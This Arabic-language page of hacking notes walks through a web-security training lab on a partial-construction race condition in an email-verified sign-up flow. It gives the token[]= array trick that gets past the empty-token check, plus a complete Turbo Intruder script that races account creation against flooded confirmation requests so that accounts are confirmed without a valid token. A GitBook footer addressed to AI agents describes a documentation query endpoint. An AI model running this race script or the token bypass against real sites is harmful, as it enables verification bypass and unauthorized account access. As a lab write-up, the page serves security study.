> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/race-conditions/partial-construction-race-condition.md).

# حالة سباق أثناء البناء الجزئي

### حالات السباق في الإنشاء الجزئي

#### هدف المختبر

* يوفر الموقع آلية تسجيل تحتوي على **التحقق من البريد الإلكتروني**.
* ملف **حالة سباق** تسمح لك بـ **تجاوز الفحص** والتسجيل بعنوان عشوائي.
* الهدف النهائي: **إنشاء حساب**، ثم تسجيل الدخول، ثم **حذف المستخدم `carlos`**.

#### السياق الملحوظ (التسجيل)

* رسالة من جهة الواجهة:

<figure><img src="/files/0cee7db60623e42ed60f1025ceecd325a8ae5d02" alt=""><figcaption></figcaption></figure>

محاولة إنشاء حساب باستخدام البريد الإلكتروني المقدم من المختبر -> الاستجابة:

<figure><img src="/files/4bc90e1625e529895419b5f746815d9fb1fad4ba" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cb24835ec5237a4a7a12b0ff996571bca6ffc268" alt=""><figcaption></figcaption></figure>

تمت المحاولة باستخدام بريد إلكتروني متوافق، مثل `jordan@ginandjuice.shop` → الإجابة:

**«يرجى التحقق من رسائلك الإلكترونية للحصول على رابط تسجيل حسابك»**.

{% code overflow="wrap" %}

```bash
csrf=HggS13aIQlQSXW9Tdhh1NmOGrSYIalTN&username=wiener&email=wiener%40exploit-0ad00064047bcce1804a250e017f00f9.exploit-server.net&password=peter
```

{% endcode %}

<figure><img src="/files/0dd7761f5180b0119f6325fa99dd5c1cd938744f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bb545bc3ab857fc90f21ea94994bd233098ceee3" alt=""><figcaption></figcaption></figure>

#### تحليل الاستغلال (الموارد/users.js)

<figure><img src="/files/710132eedd8ee9c07db299948c2b36bd8d8ec0f3" alt=""><figcaption></figcaption></figure>

في `users.js`، نرى:

* نموذج التسجيل يرسل `اسم المستخدم`, `البريد الإلكتروني`, `كلمة المرور`.
* يتم تأكيد البريد الإلكتروني عبر **طلب POST** إلى:
* `POST /confirm?token=...`
* يتم استخراج الرمز من عنوان URL وإدراجه في إجراء نموذج التأكيد.

الخلاصة: يعتمد التحقق على نقطة نهاية **/confirm** بـ **رمز** المرسلة في سلسلة الاستعلام.

```javascript
const createRegistrationForm = () => {
    const form = document.getElementById('user-registration');

    const usernameLabel = document.createElement('label');
    usernameLabel.textContent = 'اسم المستخدم';
    const usernameInput = document.createElement('input');
    usernameInput.required = true;
    usernameInput.type = 'text';
    usernameInput.name = 'username';

    const emailLabel = document.createElement('label');
    emailLabel.textContent = 'البريد الإلكتروني';
    const emailInput = document.createElement('input');
    emailInput.required = true;
    emailInput.type = 'email';
    emailInput.name = 'email';

    const passwordLabel = document.createElement('label');
    passwordLabel.textContent = 'كلمة المرور';
    const passwordInput = document.createElement('input');
    passwordInput.required = true;
    passwordInput.type = 'password';
    passwordInput.name = 'password';

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'تسجيل';

    form.appendChild(usernameLabel);
    form.appendChild(usernameInput);
    form.appendChild(emailLabel);
    form.appendChild(emailInput);
    form.appendChild(passwordLabel);
    form.appendChild(passwordInput);
    form.appendChild(button);
}

const confirmEmail = () => {
    const container = document.getElementsByClassName('confirmation')[0];

    const parts = window.location.href.split("?");
    const query = parts.length == 2 ? parts[1] : "";
    const action = query.includes('token') ? query : "";

    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '/confirm?' + action;

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'تأكيد';

    form.appendChild(button);
    container.appendChild(form);
}
```

#### المحاولة الأولى والحظر

* محاولة فرض تأكيد فارغ:

```http
POST /confirm?token=token
```

<figure><img src="/files/343cf55e2d8b6bc002971694ac6e60bc0aff0a25" alt=""><figcaption></figcaption></figure>

* الإجابة: **محظور** → نقطة نهاية محمية ضد الرمز الفارغ

<figure><img src="/files/8c556fbf00075bb09486837226d5465bf918d85c" alt=""><figcaption></figcaption></figure>

#### تجاوز الحماية (تفسير بديل)

محاولة جديدة:

```bash
/confirm?token[]=
```

* الإجابة: \*\*
* التفسير: لم يعد الخادم الخلفي يحظر الطلب باعتباره محظورًا، بل \*\* يعالج القيمة\*\* (لكنه يشير إلى أنها مصفوفة).

<figure><img src="/files/d2d21348edfeb514177a99c43e671d58d2f40c55" alt=""><figcaption></figcaption></figure>

#### ملاحظة التوقيت

* الـ **التسجيل** أبطأ:
* /\~ **199 مللي ثانية**

الـ **التأكيد** أسرع:

* /\~ **78 مللي ثانية**

<figure><img src="/files/169fe0200dfd52b605d3fb98bceba275cbc36b9b" alt=""><figcaption></figcaption></figure>

الفكرة: **إغراق** `/confirm?token[]=` أثناء النافذة الزمنية التي يتم فيها إنشاء الحساب، لتحفيز تأكيد في الوقت الخطأ

### الاستغلال

#### الطريقة 1 — Intruder (المنافسة)

1. أرسل `POST /confirm?token[]=` الطلب إلى Intruder.

<figure><img src="/files/b3ab19b4fd5e6f55cf7b36ab3cdd851bb1fa3745" alt=""><figcaption></figcaption></figure>

* اضبط الإرسال على أنه **طلبات تنافسية** (مثل 10).

<figure><img src="/files/c1e2d98ea4e8739f56c3ac377b312a73637cf9dc" alt=""><figcaption></figcaption></figure>

* أثناء هذا الإغراق، من Repeater (أو المتصفح)، أنشئ عدة حسابات:
* `test1`, `test2`, `test3`,... `test7`

تحقق من الردود في Intruder:

* ينتهي الأمر بأحد الردود بإرجاع **200**

<figure><img src="/files/4d975bc8754b88a3db646e22015dc6095d67a710" alt=""><figcaption></figcaption></figure>

حاول تسجيل الدخول باستخدام حسابات الاختبار:

* تمت ملاحظة نجاح (مثل `test2`).

<figure><img src="/files/81f212a9fa82bc426a9771b1f731a655aac0fb23" alt=""><figcaption></figcaption></figure>

#### الطريقة 2 — Turbo Intruder (هجوم الحزمة الواحدة أثناء السباق)

1. حدد طلبًا وأرسله إلى **Turbo Intruder**.

<figure><img src="/files/d120449dc8703d4145aad4ec1d1b961fdeed6da9" alt=""><figcaption></figcaption></figure>

* اختر **السباق / الحزمة الواحدة** هجوم.

<figure><img src="/files/3b0081d2640c74226d9e7d6236934ea857d301e4" alt=""><figcaption></figcaption></figure>

استخدم هذا السكربت:

مبدأ السكربت (كما طُبِّق هنا):

* الملف **عدة عمليات تسجيل** (`lol0..lol19` المستخدمون)
* الطلب **عديدًا من عمليات التأكيد** (`/confirm?token[]=`)
* افتح البوابة لتحفيز حالة السباق.

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        engine=Engine.BURP2
    )

    confirmation_email = '''POST /confirm?token[]= HTTP/2
Host: 0a0700db04dacc3080b6262500af004e.web-security-academy.net
Cookie: phpsessionid=sOwKShdkHig4oxnUpwlWZ82vFl6rwdom
Content-Length: 0

'''

    gate_name = "race1"

    for i in range(20):
        username = "lol" + str(i)
        engine.queue(target.req, [username], gate=gate_name)

    for j in range(50):
        engine.queue(confirmation_email, [], gate=gate_name)

    engine.openGate(gate_name)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="/files/5930c13d8660b48a04fc8041bf4b116d8f2b18a1" alt=""><figcaption></figcaption></figure>

#### النتيجة المتوقعة

* يتم إنشاء حساب واحد على الأقل **كما لو أن البريد الإلكتروني تم تأكيده** (من دون امتلاك الرمز).
* يمكنك بعد ذلك تسجيل الدخول باستخدام هذا الحساب، ثم استخدام ميزات الحساب للوصول إلى هدف المختبر (الحذف من `carlos`).

<figure><img src="/files/db85b1dede4c08ebb97ef8a7639bbe1c47f6e12c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/race-conditions/partial-construction-race-condition.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
